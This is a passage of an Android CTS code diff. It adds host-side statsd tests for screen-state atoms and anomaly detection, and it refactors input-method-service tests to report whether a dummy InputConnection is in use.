+ private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+ // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
+ private static final String KEY_ACTION = "action";
+ private static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+ private static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+ private static final String ACTION_GPS = "action.gps";
+ private static final String ACTION_JOB_SCHEDULE = "action.jobs";
+ private static final String ACTION_SYNC = "action.sync";
+ private static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+
+ private static final String KEY_REQUEST_CODE = "request_code";
+ private static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+ private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+ private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+ private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+ private static final String CONFIG_UID = "1000";
+ private static final String CONFIG_NAME = "cts_config";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // TODO: need to do these before running real test:
+ // 1. compile statsd and push to device
+ // 2. make sure StatsCompanionService is running
+ // 3. start statsd
+ // These should go away once we have statsd properly set up.
+
+ // Uninstall to clear the history in case it's still on the device.
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig("fake");
+ removeConfig(CONFIG_NAME);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig(CONFIG_NAME);
+ super.tearDown();
+ }
+
+ public void testScreenOnAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_ON"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOff();
+ Thread.sleep(2000);
+ turnScreenOn();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() ==
+ ScreenStateChanged.State.STATE_ON_VALUE);
+ }
+
+ public void testScreenOffAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_OFF"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOn();
+ Thread.sleep(2000);
+ turnScreenOff();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ // one of them can be DOZE
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() >= 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() == ScreenStateChanged.State.STATE_OFF_VALUE ||
+ report.getMetrics(0).getEventMetrics().getData(0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber()
+ == ScreenStateChanged.State.STATE_DOZE_VALUE);
+ }
+
+ // Tests that anomaly detection for count works.
+ // Also tests that anomaly detection works when spanning multiple buckets.
+ public void testCountAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ // TODO: Don't use screen-state as the atom.
+ StatsdConfig config = getDefaultConfig()
+ .addCountMetric(CountMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_TURNED_ON")
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testCountAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(4)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(2)
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn(); // count -> 1 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(3000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->2 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(1000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->3 (anomaly, since "greater than 2"!)
+ Thread.sleep(1000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ }
+
+ // Tests that anomaly detection for duration works.
+ // Also tests that refractory periods in anomaly detection work.
+ public void testDurationAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ // TODO: Do NOT use screenState for this, since screens auto-turn-off after a variable time.
+ StatsdConfig config = getDefaultConfig()
+ .addDurationMetric(DurationMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_IS_ON")
+ .setAggregationType(DurationMetric.AggregationType.SUM)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addCondition(Condition.newBuilder()
+ .setName("SCREEN_IS_ON")
+ .setSimpleCondition(SimpleCondition.newBuilder()
+ .setStart("SCREEN_TURNED_ON")
+ .setStop("SCREEN_TURNED_OFF")
+ .setCountNesting(false)
+ )
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testDurationAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(12)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(15_000_000_000L) // 15 seconds in nanoseconds
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ // Test that alarm doesn't fire early.
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn();
+ Thread.sleep(6_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that alarm does fire when it is supposed to.
+ turnScreenOn();
+ Thread.sleep(13_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ // Now test that the refractory period is obeyed.
+ markDeviceDate = getCurrentLogcatDate();
+ turnScreenOff();
+ Thread.sleep(1_000);
+ turnScreenOn();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that detection works again after refractory period finishes.
+ turnScreenOff();
+ Thread.sleep(20_000);
+ turnScreenOn();
+ Thread.sleep(15_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+ }
+
+ /**
+ * Determines whether logcat indicates that incidentd fired since the given device date.
+ */
+ private boolean didIncidentdFireSince(String date) throws Exception {
+ final String INCIDENTD_TAG = "incidentd";
+ final String INCIDENTD_STARTED_STRING = "reportIncident";
+ // TODO: Do something more robust than this in case of delayed logging.
+ Thread.sleep(1000);
+ String log = getLogcatSince(date, String.format(
+ "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+ return log.contains(INCIDENTD_STARTED_STRING);
+ }
+
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ LogUtil.CLog.d("uploading the config:\n" + config.toString());
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/" + configFile.getName();
+ getDevice().pushFile(configFile, remotePath);
+ getDevice().executeShellCommand(
+ String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD, CONFIG_UID,
+ CONFIG_NAME));
+ getDevice().executeShellCommand("rm " + remotePath);
+ }
+
+ /**
+ * Get default config builder for atoms CTS testing.
+ * All matchers are included. One just need to add event metric for pushed events or
+ * gauge metric for pulled metric.
+ */
+ private StatsdConfig.Builder getDefaultConfig() {
+ StatsdConfig.Builder configBuilder = StatsdConfig.newBuilder();
+ configBuilder.setName("12345");
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_ON")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(
+ KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged
+ .DISPLAY_STATE_FIELD_NUMBER)
+ ).setEqInt(
+ ScreenStateChanged.State.STATE_ON_VALUE))));
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_OFF")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(
+ KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged
+ .DISPLAY_STATE_FIELD_NUMBER)
+ ).setEqInt(
+ ScreenStateChanged.State.STATE_OFF_VALUE)
+ )));
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("UID_PROCESS_STATE_CHANGED")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER)));
+ // up to 110 is fine. 128 not good
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("KERNEL_WAKELOCK_PULLED")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.KERNEL_WAKELOCK_PULLED_FIELD_NUMBER)));
+ configBuilder
+ .addCondition(Condition.newBuilder().setName("SCREEN_IS_ON").setSimpleCondition(
+ SimpleCondition.newBuilder().setStart("SCREEN_TURNED_ON")
+ .setStop("SCREEN_TURNED_OFF")));
+ return configBuilder;
+ }
+
+ private void removeConfig(String configName) throws Exception {
+ getDevice().executeShellCommand(
+ String.join(" ", REMOVE_CONFIG_CMD, CONFIG_UID, configName));
+ }
+
+ private ConfigMetricsReportList getReportList() throws Exception {
+ ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+ String.join(" ", DUMP_REPORT_CMD, CONFIG_UID, CONFIG_NAME, "--proto"));
+ LogUtil.CLog.d("get report list as following:\n" + reportList.toString());
+ return reportList;
+ }
+
+ private void turnScreenOn() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("wm dismiss-keyguard");
+ }
+
+ private void turnScreenOff() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+
+ private void rebootDevice() throws Exception {
+ getDevice().rebootUntilOnline();
+ }
+
+ private void startSimpleActivity() throws Exception {
+ getDevice().executeShellCommand(
+ "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+ // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
+ }
+
+ private void installTestApp() throws Exception {
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ }
+
+ private String getCurrentLogcatDate() throws Exception {
+ // TODO: Do something more robust than this for getting logcat markers.
+ long timestampSecs = getDevice().getDeviceDate();
+ return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+ .format(new Date(timestampSecs * 1000L));
+ }
+
+ private String getLogcatSince(String date, String logcatParams) throws Exception {
+ return getDevice().executeShellCommand(String.format(
+ "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
+ }
+
+ // TODO: All the following code is entirely taken verbatim from BatteryStatsValidationTest.
+ // If we end up needing it, we should refactor the code so that they share these commands.
+
+ private int getUid() throws Exception {
+ String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
+ + DEVICE_SIDE_TEST_PACKAGE);
+ String[] uidLineParts = uidLine.split(":");
+ // 3rd entry is package uid
+ assertTrue(uidLineParts.length > 2);
+ int uid = Integer.parseInt(uidLineParts[2].trim());
+ assertTrue(uid > 10000);
+ return uid;
+ }
+
+ /**
+ * Runs a (background) service to perform the given action, and waits for
+ * the device to report that the action has finished (via a logcat message) before returning.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
+ String requestCode = executeBackground(actionValue);
+ String searchString = getCompletedActionString(actionValue, requestCode);
+ checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+ return requestCode;
+ }
+
+ /**
+ * Runs a (background) service to perform the given action.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeBackground(String actionValue) throws Exception {
+ allowBackgroundServices();
+ String requestCode = Integer.toString(new Random().nextInt());
+ getDevice().executeShellCommand(String.format(
+ "am startservice -n '%s' -e %s %s -e %s %s",
+ DEVICE_SIDE_BG_SERVICE_COMPONENT,
+ KEY_ACTION, actionValue,
+ KEY_REQUEST_CODE, requestCode));
+ return requestCode;
+ }
+
+ /**
+ * Required to successfully start a background service from adb in O.
+ */
+ private void allowBackgroundServices() throws Exception {
+ getDevice().executeShellCommand(String.format(
+ "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+ }
+
+ /**
+ * Runs an activity (in the foreground) to perform the given action, and waits
+ * for the device to report that the action has finished (via a logcat message) before
+ * returning.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
+ String requestCode = executeForeground(actionValue);
+ String searchString = getCompletedActionString(actionValue, requestCode);
+ checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+ return requestCode;
+ }
+
+ /**
+ * Runs an activity (in the foreground) to perform the given action.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeForeground(String actionValue) throws Exception {
+ String requestCode = Integer.toString(new Random().nextInt());
+ getDevice().executeShellCommand(String.format(
+ "am start -n '%s' -e %s %s -e %s %s",
+ DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+ KEY_ACTION, actionValue,
+ KEY_REQUEST_CODE, requestCode));
+ return requestCode;
+ }
+
+ /**
+ * The string that will be printed in the logcat when the action completes. This needs to be
+ * identical to
+ * {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+ */
+ private String getCompletedActionString(String actionValue, String requestCode) {
+ return String.format("Completed performing %s for request %s", actionValue, requestCode);
+ }
+
+ /**
+ * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+ * the given tag.
+ * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+ * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+ */
+ private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
+ IShellOutputReceiver receiver = new IShellOutputReceiver() {
+ private final StringBuilder mOutputBuffer = new StringBuilder();
+ private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
+
+ @Override
+ public void addOutput(byte[] data, int offset, int length) {
+ if (!isCancelled()) {
+ synchronized (mOutputBuffer) {
+ String s = new String(data, offset, length, Charsets.UTF_8);
+ mOutputBuffer.append(s);
+ if (checkBufferForText()) {
+ mIsCanceled.set(true);
+ }
+ }
+ }
+ }
+
+ private boolean checkBufferForText() {
+ if (mOutputBuffer.indexOf(text) > -1) {
+ return true;
+ } else {
+ // delete all old data (except the last few chars) since they don't contain text
+ // (presumably large chunks of data will be added at a time, so this is
+ // sufficiently efficient.)
+ int newStart = mOutputBuffer.length() - text.length();
+ if (newStart > 0) {
+ mOutputBuffer.delete(0, newStart);
+ }
+ return false;
+ }
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return mIsCanceled.get();
+ }
+
+ @Override
+ public void flush() {
+ }
+ };
+
+ try {
+ // Wait for at most maxTimeMs for logcat to display the desired text.
+ getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
+ receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
+ } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
+ System.err.println(e);
+ }
+ }
+
+ /**
+ * Determines if the device has the given feature.
+ * Prints a warning if its value differs from requiredAnswer.
+ */
+ private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+ final String features = getDevice().executeShellCommand("pm list features");
+ boolean hasIt = features.contains(featureName);
+ if (hasIt != requiredAnswer) {
+ LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+ + featureName);
+ }
+ return hasIt;
+ }
+
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 307693a..89a21f2 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -80,7 +80,14 @@
/**
* Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
*/
- ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+ ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting"),
+
+ /**
+ * Param for {@link DeviceEventType#ON_START_INPUT}. Represents if it's backed by a dummy
+ * {@link android.view.inputmethod.InputConnection}.
+ */
+ ON_START_INPUT_DUMMY_INPUT_CONNECTION(DeviceEventType.ON_START_INPUT,
+ "onStartInput.dummyinputconnection");
private final DeviceEventType mType;
private final String mName;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index e5613ff..d9593a5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static android.inputmethodservice.cts.DeviceEvent.isFrom;
@@ -72,8 +73,7 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
TIMEOUT, "CtsInputMethod1.onCreate is called");
final long startActivityTime = SystemClock.uptimeMillis();
@@ -81,8 +81,7 @@
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
}
@@ -94,8 +93,7 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
TIMEOUT, "CtsInputMethod1.onCreate is called");
final long startActivityTime = SystemClock.uptimeMillis();
@@ -103,8 +101,7 @@
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
helper.findUiObject(R.id.text_entry).click();
@@ -121,8 +118,7 @@
TIMEOUT, "CtsInputMethod2 is current IME");
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(switchImeTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY))),
TIMEOUT, "CtsInputMethod1.onDestroy is called");
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(switchImeTime))
@@ -157,13 +153,11 @@
helper.findUiObject(R.id.search_view).click();
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT))),
TIMEOUT, "CtsInputMethod1.showSoftInput is called");
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
}
@@ -182,13 +176,11 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT))),
TIMEOUT, "CtsInputMethod1.onFinishInput is called");
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT))),
TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
}
@@ -203,9 +195,7 @@
// we should've only one onStartInput call.
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny()
- .isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
List<DeviceEvent> startInputEvents = helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
@@ -218,10 +208,15 @@
// check if that single event didn't cause IME restart.
final DeviceEvent event = startInputEvents.get(0);
- Boolean isRestarting = DeviceEvent.getEventParamBoolean(
+ final Boolean isRestarting = DeviceEvent.getEventParamBoolean(
DeviceEventTypeParam.ON_START_INPUT_RESTARTING, event);
- assertTrue(isRestarting != null);
+ assertNotNull(isRestarting);
assertFalse(isRestarting);
+
+ final Boolean isDummyInputConnection = DeviceEvent.getEventParamBoolean(
+ DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, event);
+ assertNotNull(isDummyInputConnection);
+ assertFalse(isDummyInputConnection);
}
/**
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
index a935f0b..59692a6 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
package android.inputmethodservice.cts.devicetest;
import java.util.function.BiConsumer;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
index 36b711e..996dad9 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
package android.inputmethodservice.cts.devicetest;
import java.util.ArrayList;
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index ff412ef..cd2c557 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -277,19 +277,16 @@
public static Boolean getEventParamBoolean(
DeviceEventTypeParam eventParam, final DeviceEvent event) {
StringReader stringReader = new StringReader(event.paramsString);
- JsonReader reader = new JsonReader(stringReader);
-
- try {
+ try (JsonReader reader = new JsonReader(stringReader)) {
reader.beginObject();
while (reader.hasNext()) {
String name = reader.nextName();
if (name.equals(eventParam.getName())) {
Boolean value = reader.nextBoolean();
- reader.endObject();
return value;
}
+ reader.skipValue();
}
- reader.endObject();
} catch (IOException e) {
throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index b37873c..3a99e71 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -33,6 +33,7 @@
import android.os.ResultReceiver;
import android.util.Log;
import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
import android.view.inputmethod.InputConnection;
import java.util.function.Consumer;
@@ -80,15 +81,19 @@
@Override
public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+ final boolean dummyConnection =
+ getCurrentInputConnection() == getCurrentInputBinding().getConnection();
if (DEBUG) {
Log.d(mLogTag, "onStartInput:"
+ " editorInfo=" + editorInfo
- + " restarting=" + restarting);
+ + " restarting=" + restarting
+ + " dummyConnection=" + dummyConnection);
}
sendEvent(DeviceEvent.builder()
.setType(ON_START_INPUT)
- .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
+ .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting)
+ .with(DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, dummyConnection));
super.onStartInput(editorInfo, restarting);
}
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 5ff22a2..19aae73 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -30,6 +30,7 @@
cts-tradefed \
tradefed
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-inputmethodservice-common-host
+ cts-inputmethodservice-common-host \
+ hamcrest-library
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
